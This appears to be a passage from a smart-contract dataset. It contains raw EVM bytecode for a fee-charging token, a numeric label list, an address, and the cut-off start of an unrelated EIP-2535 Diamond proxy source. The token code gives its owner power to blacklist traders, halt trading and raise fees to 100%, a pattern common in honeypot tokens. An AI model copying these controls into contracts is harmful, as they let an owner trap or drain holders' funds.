02915780637c093a1d146108a05780638129fc1c146108c057806385e9af5a146108d557806389a31a9f146108f55780638c0b5e221461091d57600080fd5b806370a08231146107f4578063715018a61461082a57806374da7cd81461083f5780637564d3e61461085f578063769c2f571461087f57600080fd5b80634fbee193116103145780634fbee1931461075c578063554b6a131461078c5780635c2ffcd5146107a2578063683ed493146107b757806369bb7524146107df57600080fd5b806349a03489146106db57806349bd5a5e146106fb5780634a1f324d1461071b5780634ada218b1461073b57600080fd5b806322fd0876116103d35780633563a425116103975780633563a4251461064657806335cd36e11461065b578063395093511461067b5780633abc97e51461069b578063459cfcce146106bb57600080fd5b806322fd0876146105aa57806323b872dd146105ca57806327a14fc2146105ea57806327cf2e351461060a578063313ce5671461062a57600080fd5b80631694505e1161041a5780631694505e1461050457806318160ddd1461053c5780631d8c31611461055b5780632243174c1461057057806322b68ac91461058a57600080fd5b806306fdde0314610457578063095ea7b3146104825780630ff974e7146104b2578063153b0d1e146104e257600080fd5b3661045257005b600080fd5b34801561046357600080fd5b5061046c610dbb565b6040516104799190613891565b60405180910390f35b34801561048e57600080fd5b506104a261049d36600461390b565b610e4d565b6040519015158152602001610479565b3480156104be57600080fd5b506104a26104cd366004613937565b60a76020526000908152604090205460ff1681565b3480156104ee57600080fd5b506105026104fd366004613974565b610e65565b005b34801561051057600080fd5b50609754610524906001600160a01b031681565b6040516001600160a01b039091168152602001610479565b34801561054857600080fd5b506035545b604051908152602001610479565b34801561056757600080fd5b50610502610f6d565b34801561057c57600080fd5b5060a9546104a29060ff1681565b34801561059657600080fd5b506105026105a5366004613974565b610fe2565b3480156105b657600080fd5b506105026105c53660046139ad565b6110ab565b3480156105d657600080fd5b506104a26105e53660046139df565b611171565b3480156105f657600080fd5b50610502610605366004613a20565b611195565b34801561061657600080fd5b50610502610625366004613a20565b6111e6565b34801561063657600080fd5b5060405160128152602001610479565b34801561065257600080fd5b5061054d611215565b34801561066757600080fd5b50610502610676366004613a39565b611249565b34801561068757600080fd5b506104a261069636600461390b565b611345565b3480156106a757600080fd5b506105026106b6366004613a7b565b611384565b3480156106c757600080fd5b506105026106d6366004613b52565b61141a565b3480156106e757600080fd5b506105026106f6366004613a39565b611493565b34801561070757600080fd5b50609854610524906001600160a01b031681565b34801561072757600080fd5b5061054d610736366004613a20565b61157e565b34801561074757600080fd5b5060a4546104a290600160b01b900460ff1681565b34801561076857600080fd5b506104a2610777366004613937565b60a56020526000908152604090205460ff1681565b34801561079857600080fd5b5061054d60b35481565b3480156107ae57600080fd5b5061054d61159f565b3480156107c357600080fd5b5061052473b1636da7243bed31b988d68026c3289df258d25281565b3480156107eb57600080fd5b506105026115d3565b34801561080057600080fd5b5061054d61080f366004613937565b6001600160a01b031660009081526033602052604090205490565b34801561083657600080fd5b50610502611731565b34801561084b57600080fd5b5061050261085a366004613937565b611767565b34801561086b57600080fd5b5061050261087a366004613b74565b61179e565b34801561088b57600080fd5b5060a4546104a290600160a81b900460ff1681565b3480156108ac57600080fd5b506105026108bb3660046139ad565b6117db565b3480156108cc57600080fd5b506105026118a1565b3480156108e157600080fd5b506105026108f0366004613937565b611cf9565b34801561090157600080fd5b5061052473d7e603ac5a64a7327db5a40cc45e88ae272ecd1c81565b34801561092957600080fd5b5061054d60a05481565b34801561093f57600080fd5b5061050261094e366004613937565b611da1565b34801561095f57600080fd5b506065546001600160a01b0316610524565b34801561097d57600080fd5b5061046c611e13565b34801561099257600080fd5b506105026109a1366004613974565b611e22565b3480156109b257600080fd5b5061054d6109c1366004613a20565b611ee8565b3480156109d257600080fd5b506105026109e1366004613a20565b611ef8565b3480156109f257600080fd5b506104a2610a0136600461390b565b611f27565b348015610a1257600080fd5b50610502610a213660046139df565b611fb9565b348015610a3257600080fd5b5061054d60ae5481565b348015610a4857600080fd5b506104a2610a5736600461390b565b61205c565b348015610a6857600080fd5b5061054d60a15481565b348015610a7e57600080fd5b50610502610a8d366004613a20565b61206a565b348015610a9e57600080fd5b506104a2610aad366004613937565b60a66020526000908152604090205460ff1681565b348015610ace57600080fd5b5061054d60ac5481565b348015610ae457600080fd5b5060a454610524906001600160a01b031681565b348015610b0457600080fd5b5060a254610524906001600160a01b031681565b348015610b2457600080fd5b5061054d60ab5481565b348015610b3a57600080fd5b50610502610b49366004613974565b6120bb565b348015610b5a57600080fd5b5061054d60b05481565b348015610b7057600080fd5b5061054d60b15481565b348015610b8657600080fd5b5061050261217c565b348015610b9b57600080fd5b5061054d60ad5481565b348015610bb157600080fd5b5061054d610bc0366004613b91565b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b348015610bf757600080fd5b50610502610c06366004613937565b612282565b348015610c1757600080fd5b5061054d610c26366004613a20565b6122f4565b348015610c3757600080fd5b5061054d60aa5481565b348015610c4d57600080fd5b5061054d60b25481565b348015610c6357600080fd5b5060a354610524906001600160a01b031681565b348015610c8357600080fd5b5061054d609f5481565b348015610c9957600080fd5b50610502610ca8366004613b74565b612304565b348015610cb957600080fd5b5061052473a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b348015610ce157600080fd5b50610502610cf0366004613a39565b61234c565b348015610d0157600080fd5b50610502610d10366004613a20565b612437565b348015610d2157600080fd5b50610502610d30366004613b74565b612488565b348015610d4157600080fd5b50610502610d50366004613937565b61250a565b348015610d6157600080fd5b5061054d60af5481565b348015610d7757600080fd5b506104a2610d86366004613937565b60a86020526000908152604090205460ff1681565b348015610da757600080fd5b50610502610db6366004613937565b6125a2565b606060368054610dca90613bbf565b80601f0160208091040260200160405190810160405280929190818152602001828054610df690613bbf565b8015610e435780601f10610e1857610100808354040283529160200191610e43565b820191906000526020600020905b815481529060010190602001808311610e2657829003601f168201915b5050505050905090565b600033610e5b818585612614565b5060019392505050565b6065546001600160a01b03163314610e985760405162461bcd60e51b8152600401610e8f90613bfa565b60405180910390fd5b6001600160a01b038216600090815260a8602052604090205460ff1615158115151415610f195760405162461bcd60e51b815260206004820152602960248201527f54686973206163636f756e7420697320616c72656164792073657420746f20746044820152686861742076616c756560b81b6064820152608401610e8f565b6001600160a01b038216600081815260a86020526040808220805460ff191685151590811790915590519092917ffed07c88bd5d31bfd0ce77ed7ffdc74a163a61cfc5edcec801e3a7954e33d6e791a35050565b6065546001600160a01b03163314610f975760405162461bcd60e51b8152600401610e8f90613bfa565b60a9805460ff1916600117905560a4805460ff60a81b1916600160a81b179055600060aa81905560ab81905561271060ac81905560ae81905560ad81905560af55609c819055609d55565b6065546001600160a01b0316331461100c5760405162461bcd60e51b8152600401610e8f90613bfa565b6001600160a01b038216600090815260a7602052604090205460ff161515811515141561104b5760405162461bcd60e51b8152600401610e8f90613c2f565b6001600160a01b038216600081815260a76020908152604091829020805460ff191685151590811790915591519182527f57789bbd5d2fe3f9bbb2a9f10ee8e161ec50c28c4d0524a54d4fe59420bb834b91015b60405180910390a25050565b6065546001600160a01b031633146110d55760405162461bcd60e51b8152600401610e8f90613bfa565b6127108411156110f75760405162461bcd60e51b8152600401610e8f90613c79565b6127108311156111195760405162461bcd60e51b8152600401610e8f90613c79565b61271082111561113b5760405162461bcd60e51b8152600401610e8f90613c79565b61271081111561115d5760405162461bcd60e51b8152600401610e8f90613c79565b60b09390935560b19190915560b25560b355565b60003361117f858285612738565b61118a8585856127c4565b506001949350505050565b6065546001600160a01b031633146111bf5760405162461bcd60e51b8152600401610e8f90613bfa565b6035548111156111e15760405162461bcd60e51b8152600401610e8f90613ca6565b60a155565b6065546001600160a01b031633146112105760405162461bcd60e51b8152600401610e8f90613bfa565b609d55565b6065546000906001600160a01b031633146112425760405162461bcd60e51b8152600401610e8f90613bfa565b50609d5490565b6065546001600160a01b031633146112735760405162461bcd60e51b8152600401610e8f90613bfa565b6127108311156112955760405162461bcd60e51b8152600401610e8f90613c79565b6127108211156112b75760405162461bcd60e51b8152600401610e8f90613c79565b6127108111156112d95760405162461bcd60e51b8152600401610e8f90613c79565b82609b6000815481106112ee576112ee613ced565b906000526020600020018190555081609b60018154811061131157611311613ced565b906000526020600020018190555080609b60028154811061133457611334613ced565b600091825260209091200155505050565b3360008181526034602090815260408083206001600160a01b0387168452909152812054909190610e5b908290869061137f908790613d19565b612614565b6065546001600160a01b031633146113ae5760405162461bcd60e51b8152600401610e8f90613bfa565b60005b8251811015611415578160a860008584815181106113d1576113d1613ced565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061140d81613d31565b9150506113b1565b505050565b6065546001600160a01b031633146114445760405162461bcd60e51b8152600401610e8f90613bfa565b6127108211156114665760405162461bcd60e51b8152600401610e8f90613c79565b6127108111156114885760405162461bcd60e51b8152600401610e8f90613c79565b60aa9190915560ab55565b6065546001600160a01b031633146114bd5760405162461bcd60e51b8152600401610e8f90613bfa565b6127108311156114df5760405162461bcd60e51b8152600401610e8f90613c79565b6127108211156115015760405162461bcd60e51b8152600401610e8f90613c79565b6127108111156115235760405162461bcd60e51b8152600401610e8f90613c79565b82609960008154811061153857611538613ced565b906000526020600020018190555081609960018154811061155b5761155b613ced565b906000526020600020018190555080609960028154811061133457611334613ced565b609b818154811061158e57600080fd5b600091825260209091200154905081565b6065546000906001600160a01b031633146115cc5760405162461bcd60e51b8152600401610e8f90613bfa565b50609c5490565b6065546001600160a01b031633146115fd5760405162461bcd60e51b8152600401610e8f90613bfa565b60a454600160a81b900460ff1661164c5760405162461bcd60e51b815260206004820152601360248201527214ddd85c081a5cc81b9bdd08195b98589b1959606a1b6044820152606401610e8f565b60a454600160a01b900460ff16156116a65760405162461bcd60e51b815260206004820152601760248201527f5377617070696e6720697320696e2070726f67726573730000000000000000006044820152606401610e8f565b60a4805460ff60a01b1916600160a01b179055609c54609e5460a3546116d69083906001600160a01b0316612e2a565b6000811180156116f0575060a2546001600160a01b031615155b156116fe576116fe81612f3d565b81609c5461170c9190613d4c565b609c55609e5461171d908290613d4c565b609e55505060a4805460ff60a01b19169055565b6065546001600160a01b0316331461175b5760405162461bcd60e51b8152600401610e8f90613bfa565b6117656000613086565b565b6065546001600160a01b031633146117915760405162461bcd60e51b8152600401610e8f90613bfa565b61179b81476130d8565b50565b6065546001600160a01b031633146117c85760405162461bcd60e51b8152600401610e8f90613bfa565b60a9805460ff1916911515919091179055565b6065546001600160a01b031633146118055760405162461bcd60e51b8152600401610e8f90613bfa565b6127108411156118275760405162461bcd60e51b8152600401610e8f90613c79565b6127108311156118495760405162461bcd60e51b8152600401610e8f90613c79565b61271082111561186b5760405162461bcd60e51b8152600401610e8f90613c79565b61271081111561188d5760405162461bcd60e51b8152600401610e8f90613c79565b60ac9390935560ad9190915560ae5560af55565b600054610100900460ff166118bc5760005460ff16156118c0565b303b155b6119235760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610e8f565b600054610100900460ff16158015611945576000805461ffff19166101011790555b61194d6131f1565b6119986040518060400160405280600c81526020016b09ec6cad2c8dedc4084d8def60a31b8152506040518060400160405280600581526020016409e84989eb60db1b815250613220565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a159190613d63565b6040516364e329cb60e11b815230600482015273a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4860248201526001600160a01b03919091169063c9c65396906044016020604051808303816000875af1158015611a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a9b9190613d63565b609780546001600160a01b038086166001600160a01b031992831617909255609880549284169290911682179055909150611ad7906001613251565b611ae23060016120bb565b611afe611af76065546001600160a01b031690565b60016120bb565b6098546001600160a01b0316600090815260a760208190526040808320805460ff1990811660019081179092553085529184208054909216811790915591611b4e6065546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000908120805460ff1916921515929092179091556a084595161401484a000000609f556b204fce5e3e2502611000000060a081905560a181905560a3805473ec82e2d1184a38c192a0cbd8fa84b6a3d6a127db6001600160a01b0319909116179055609980546001818101835560c87f72a152ddfb8e864297c917af52ea6c1c68aead0fee1a62673fcc7e0c94979d0092830181905583548083018555830181905583548083019094559290910191909155609a805480830182556101f47f44da158ba27f9252712a74ff6a55c5d531f69609f1f6e7f17c4443a8e2089be49182018190558254808501845582018190558254808501909355910155609b805480830182558185527fbba9db4cdbea0a37c207bbb83e20f828cd4441c49891101dc94fd20dc8efc3499081018590558154808401835581018590558154928301909155019190915560a4805462ff00ff60a81b19166201000160a81b179055611ce390731e091f3b36c2771f39dd1b30f6986898114781889061333a565b5050801561179b576000805461ff001916905550565b6065546001600160a01b03163314611d235760405162461bcd60e51b8152600401610e8f90613bfa565b609d5460405163a9059cbb60e01b81526001600160a01b03831660048201526024810191909152309063a9059cbb906044016020604051808303816000875af1158015611d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d989190613d80565b50506000609d55565b6065546001600160a01b03163314611dcb5760405162461bcd60e51b8152600401610e8f90613bfa565b6001600160a01b038116611df15760405162461bcd60e51b8152600401610e8f90613d9d565b60a280546001600160a01b0319166001600160a01b0392909216919091179055565b606060378054610dca90613bbf565b6065546001600160a01b03163314611e4c5760405162461bcd60e51b8152600401610e8f90613bfa565b6098546001600160a01b0383811691161415611eda5760405162461bcd60e51b815260206004820152604160248201527f54686520556e697377617020706169722063616e6e6f742062652072656d6f7660448201527f65642066726f6d206175746f6d617465644d61726b65744d616b6572506169726064820152607360f81b608482015260a401610e8f565b611ee48282613251565b5050565b609a818154811061158e57600080fd5b6065546001600160a01b03163314611f225760405162461bcd60e51b8152600401610e8f90613bfa565b609c55565b3360008181526034602090815260408083206001600160a01b038716845290915281205490919083811015611fac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610e8f565b61118a8286868403612614565b6065546001600160a01b03163314611fe35760405162461bcd60e51b8152600401610e8f90613bfa565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015612032573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120569190613d80565b50505050565b600033610e5b8185856127c4565b6065546001600160a01b031633146120945760405162461bcd60e51b8152600401610e8f90613bfa565b6035548111156120b65760405162461bcd60e51b8152600401610e8f90613ca6565b609f55565b6065546001600160a01b031633146120e55760405162461bcd60e51b8152600401610e8f90613bfa565b6001600160a01b038216600090815260a5602052604090205460ff16151581151514156121245760405162461bcd60e51b8152600401610e8f90613c2f565b6001600160a01b038216600081815260a56020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910161109f565b6065546001600160a01b031633146121a65760405162461bcd60e51b8152600401610e8f90613bfa565b60a9805460ff199081166001908117909255610b2760aa5561059f60ab557f6f308b1f8af13f5e70c5bbd8dff7686cebf524d1afb06670dedec5c575f24b34805482168317905573b1636da7243bed31b988d68026c3289df258d2526000527f7635ec63b374eaa89f7dfe75a9be93b0ac8a543a681fa9e568f17188e093a657805482168317905560a66020527f26df2218ec86ebfa5ded11e12cf7eb61000c7e9cb5a056b1729c9fae0a90d7fa805490911690911790556a034f086f3b33b684000000609f5560a4805460ff60a81b1916600160a81b179055565b6065546001600160a01b031633146122ac5760405162461bcd60e51b8152600401610e8f90613bfa565b6001600160a01b0381166122d25760405162461bcd60e51b8152600401610e8f90613d9d565b60a480546001600160a01b0319166001600160a01b0392909216919091179055565b6099818154811061158e57600080fd5b6065546001600160a01b0316331461232e5760405162461bcd60e51b8152600401610e8f90613bfa565b60a48054911515600160a81b0260ff60a81b19909216919091179055565b6065546001600160a01b031633146123765760405162461bcd60e51b8152600401610e8f90613bfa565b6127108311156123985760405162461bcd60e51b8152600401610e8f90613c79565b6127108211156123ba5760405162461bcd60e51b8152600401610e8f90613c79565b6127108111156123dc5760405162461bcd60e51b8152600401610e8f90613c79565b82609a6000815481106123f1576123f1613ced565b906000526020600020018190555081609a60018154811061241457612414613ced565b906000526020600020018190555080609a60028154811061133457611334613ced565b6065546001600160a01b031633146124615760405162461bcd60e51b8152600401610e8f90613bfa565b6035548111156124835760405162461bcd60e51b8152600401610e8f90613ca6565b60a055565b6065546001600160a01b031633146124b25760405162461bcd60e51b8152600401610e8f90613bfa565b60a48054821515600160b01b0260ff60b01b199091161790556040517fbeda7dca7bc1b3e80b871f4818129ec73b771581f803d553aeb3484098e5f65a906124ff90831515815260200190565b60405180910390a150565b6065546001600160a01b031633146125345760405162461bcd60e51b8152600401610e8f90613bfa565b6001600160a01b0381166125995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610e8f565b61179b81613086565b6065546001600160a01b031633146125cc5760405162461bcd60e51b8152600401610e8f90613bfa565b6001600160a01b0381166125f25760405162461bcd60e51b8152600401610e8f90613d9d565b60a380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166126765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610e8f565b6001600160a01b0382166126d75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610e8f565b6001600160a01b0383811660008181526034602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260346020908152604080832093861683529290522054600019811461205657818110156127b75760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610e8f565b6120568484848403612614565b6001600160a01b0383166127ea5760405162461bcd60e51b8152600401610e8f90613dd4565b6001600160a01b0382166128105760405162461bcd60e51b8152600401610e8f90613e19565b6001600160a01b038316600090815260a8602052604090205460ff1615801561285257506001600160a01b038216600090815260a8602052604090205460ff16155b6128b25760405162461bcd60e51b815260206004820152602b60248201527f53656e646572206f7220726563656976657220617265206e6f7420616c6c6f7760448201526a656420746f20747261646560a81b6064820152608401610e8f565b6065546001600160a01b038481169116148015906128de57506065546001600160a01b03838116911614155b156129ad5760a0548111156129465760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610e8f565b60a454600160b01b900460ff166129ad5760405162461bcd60e51b815260206004820152602560248201527f54726164696e6720616e6420746f6b656e207472616e73666572732064697361604482015264313632b21760d91b6064820152608401610e8f565b6001600160a01b038216600090815260a7602052604090205460ff161580156129ef57506001600160a01b038216600090815260a6602052604090205460ff16155b15612a76576001600160a01b03821660009081526033602052604090205460a154612a1a8383613d19565b1115612a745760405162461bcd60e51b815260206004820152602360248201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152621d5b9d60ea1b6064820152608401610e8f565b505b60a4546001600160a01b038416600090815260a5602052604090205460ff600160a01b909204821615911680612ac457506001600160a01b038316600090815260a5602052604090205460ff165b15612acd575060005b8015612e1f5760a954600090819060ff1615612d9d5760aa5460ab546001600160a01b038716600090815260a66020526040902054829190819060ff1615612b245760b054935060b154925060b254915060b35490505b6001600160a01b038a16600090815260a6602052604090205460ff1615612b5a5760ac54935060ad54925060ae54915060af5490505b604051627eeac760e11b81526001600160a01b038b1660048201526002602482015260019073d7e603ac5a64a7327db5a40cc45e88ae272ecd1c9062fdd58e90604401602060405180830381865afa158015612bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bde9190613e5c565b101580612c6d5750604051627eeac760e11b81526001600160a01b038a1660048201526002602482015260019073d7e603ac5a64a7327db5a40cc45e88ae272ecd1c9062fdd58e90604401602060405180830381865afa158015612c46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c6a9190613e5c565b10155b15612c79578395508294505b604051627eeac760e11b81526001600160a01b038b1660048201526003602482015260019073d7e603ac5a64a7327db5a40cc45e88ae272ecd1c9062fdd58e90604401602060405180830381865afa158015612cd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cfd9190613e5c565b101580612d8c5750604051627eeac760e11b81526001600160a01b038a1660048201526003602482015260019073d7e603ac5a64a7327db5a40cc45e88ae272ecd1c9062fdd58e90604401602060405180830381865afa158015612d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d899190613e5c565b10155b15612d98578195508094505b505050505b6001600160a01b03808616600090815260a660205260408082205492891682528120549091612dfc91879160ff9081169116158015612df557506001600160a01b038916600090815260a6602052604090205460ff16155b8686613419565b90508015612e0f57612e0f87308361362a565b612e198186613d4c565b94505050505b61205684848461362a565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612e5f57612e5f613ced565b60200260200101906001600160a01b031690816001600160a01b03168152505073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881600181518110612ea757612ea7613ced565b6001600160a01b039283166020918202929092010152609754612ecd9130911685612614565b609754604051635c11d79560e01b81526001600160a01b0390911690635c11d79590612f06908690600090869088904290600401613e75565b600060405180830381600087803b158015612f2057600080fd5b505af1158015612f34573d6000803e3d6000fd5b50505050505050565b60408051600380825260808201909252600091602082016060803683370190505090503081600081518110612f7457612f74613ced565b60200260200101906001600160a01b031690816001600160a01b03168152505073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881600181518110612fbc57612fbc613ced565b6001600160a01b03928316602091820292909201015260a254825191169082906002908110612fed57612fed613ced565b6001600160a01b0392831660209182029290920101526097546130139130911684612614565b60975460a454604051635c11d79560e01b81526001600160a01b0392831692635c11d7959261305092879260009288929116904290600401613e75565b600060405180830381600087803b15801561306a57600080fd5b505af115801561307e573d6000803e3d6000fd5b505050505050565b606580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b804710156131285760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610e8f565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114613175576040519150601f19603f3d011682016040523d82523d6000602084013e61317a565b606091505b50509050806114155760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610e8f565b600054610100900460ff166132185760405162461bcd60e51b8152600401610e8f90613ee6565b61176561377e565b600054610100900460ff166132475760405162461bcd60e51b8152600401610e8f90613ee6565b611ee482826137ae565b6001600160a01b038216600090815260a6602052604090205460ff16151581151514156132e65760405162461bcd60e51b815260206004820152603860248201527f4175746f6d61746564206d61726b6574206d616b65722070616972206973206160448201527f6c72656164792073657420746f20746861742076616c756500000000000000006064820152608401610e8f565b6001600160a01b038216600081815260a66020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0382166133905760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610e8f565b80603560008282546133a29190613d19565b90915550506001600160a01b038216600090815260336020526040812080548392906133cf908490613d19565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000808061271061342a8682613d4c565b6127108861346f578961345b57609960008154811061344b5761344b613ced565b906000526020600020015461348f565b609960018154811061344b5761344b613ced565b609960028154811061348357613483613ced565b90600052602060002001545b613499908c613f31565b6134a39190613f50565b6134ad9190613f31565b6134b79190613f50565b905080609c546134c79190613d19565b609c5560006127106134d98682613d4c565b6127108961351e578a61350a57609a6000815481106134fa576134fa613ced565b906000526020600020015461353e565b609a6001815481106134fa576134fa613ced565b609a60028154811061353257613532613ced565b90600052602060002001545b613548908d613f31565b6135529190613f50565b61355c9190613f31565b6135669190613f50565b905080609d546135769190613d19565b609d556000612710886135c057896135ac57609b60008154811061359c5761359c613ced565b90600052602060002001546135e0565b609b60018154811061359c5761359c613ced565b609b6002815481106135d4576135d4613ced565b90600052602060002001545b6135ea908c613f31565b6135f49190613f50565b905080609e546136049190613d19565b609e55806136128385613d19565b61361c9190613d19565b9a9950505050505050505050565b6001600160a01b0383166136505760405162461bcd60e51b8152600401610e8f90613dd4565b6001600160a01b0382166136765760405162461bcd60e51b8152600401610e8f90613e19565b6001600160a01b038316600090815260336020526040902054818110156136ee5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610e8f565b6001600160a01b03808516600090815260336020526040808220858503905591851681529081208054849290613725908490613d19565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161377191815260200190565b60405180910390a3612056565b600054610100900460ff166137a55760405162461bcd60e51b8152600401610e8f90613ee6565b61176533613086565b600054610100900460ff166137d55760405162461bcd60e51b8152600401610e8f90613ee6565b81516137e89060369060208501906137f8565b5080516114159060379060208401905b82805461380490613bbf565b90600052602060002090601f016020900481019282613826576000855561386c565b82601f1061383f57805160ff191683800117855561386c565b8280016001018555821561386c579182015b8281111561386c578251825591602001919060010190613851565b5061387892915061387c565b5090565b5b80821115613878576000815560010161387d565b600060208083528351808285015260005b818110156138be578581018301518582016040015282016138a2565b818111156138d0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461179b57600080fd5b8035613906816138e6565b919050565b6000806040838503121561391e57600080fd5b8235613929816138e6565b946020939093013593505050565b60006020828403121561394957600080fd5b8135613954816138e6565b9392505050565b801515811461179b57600080fd5b80356139068161395b565b6000806040838503121561398757600080fd5b8235613992816138e6565b915060208301356139a28161395b565b809150509250929050565b600080600080608085870312156139c357600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000606084860312156139f457600080fd5b83356139ff816138e6565b92506020840135613a0f816138e6565b929592945050506040919091013590565b600060208284031215613a3257600080fd5b5035919050565b600080600060608486031215613a4e57600080fd5b505081359360208301359350604090920135919050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215613a8e57600080fd5b823567ffffffffffffffff80821115613aa657600080fd5b818501915085601f830112613aba57600080fd5b8135602082821115613ace57613ace613a65565b8160051b604051601f19603f83011681018181108682111715613af357613af3613a65565b604052928352818301935084810182019289841115613b1157600080fd5b948201945b83861015613b3657613b27866138fb565b85529482019493820193613b16565b9650613b459050878201613969565b9450505050509250929050565b60008060408385031215613b6557600080fd5b50508035926020909101359150565b600060208284031215613b8657600080fd5b81356139548161395b565b60008060408385031215613ba457600080fd5b8235613baf816138e6565b915060208301356139a2816138e6565b600181811c90821680613bd357607f821691505b60208210811415613bf457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602a908201527f4163636f756e7420697320616c7265616479207468652076616c7565206f6620604082015269276578636c756465642760b01b606082015260800190565b60208082526013908201527245786365656473206d6178696d756d2066656560681b604082015260600190565b60208082526027908201527f416d6f756e742063616e6e6f74206265206f7665722074686520746f74616c2060408201526639bab838363c9760c91b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115613d2c57613d2c613d03565b500190565b6000600019821415613d4557613d45613d03565b5060010190565b600082821015613d5e57613d5e613d03565b500390565b600060208284031215613d7557600080fd5b8151613954816138e6565b600060208284031215613d9257600080fd5b81516139548161395b565b60208082526018908201527f7a65726f2d61646472657373206e6f7420616c6c6f7765640000000000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600060208284031215613e6e57600080fd5b5051919050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015613ec55784516001600160a01b031683529383019391830191600101613ea0565b50506001600160a01b03969096166060850152505050608001529392505050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b6000816000190483118215151615613f4b57613f4b613d03565b500290565b600082613f6d57634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212206bfa657f1d1abc265f39d6e6e5595abfe9190a7cefbed59b22da8622d26d465964736f6c634300080a0033
[ 5, 16, 4, 7 ]
0xF248Eb4D92eF59E488F00b931BC7066788E856A5
//SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * EIP-2535 Diamonds: https://eips.ethereum.org/EIPS/eip-2535 * * Implementation of a diamond. /******************************************************************************/ import {LibDiamond} from "./LibDiamond.sol"; import {IDiamondCut} from "./IDiamondCut.sol"; contract Diamond { constructor(address _contractOwner, address _diamondCutFacet) payable { LibDiamond.setContractOwner(_contractOwner); // Add the diamondCut external function from the diamondCutFacet IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1); bytes4[] memory functionSelectors = new bytes4[](1); functionSelectors[0] = IDiamondCut.diamondCut.selector; cut[0] = IDiamondCut.FacetCut({ facetAddress: _diamondCutFacet, action: IDiamondCut.FacetCutAction.Add, functionSelectors: functionSelectors }); LibDiamond.diamondCut(cut, address(0), ""); } // Find facet for function that is called and execute the // function if a facet is found and return any value. fallback() external payable { LibDiamond.DiamondStorage storage ds; bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION; // get diamond storage assembly 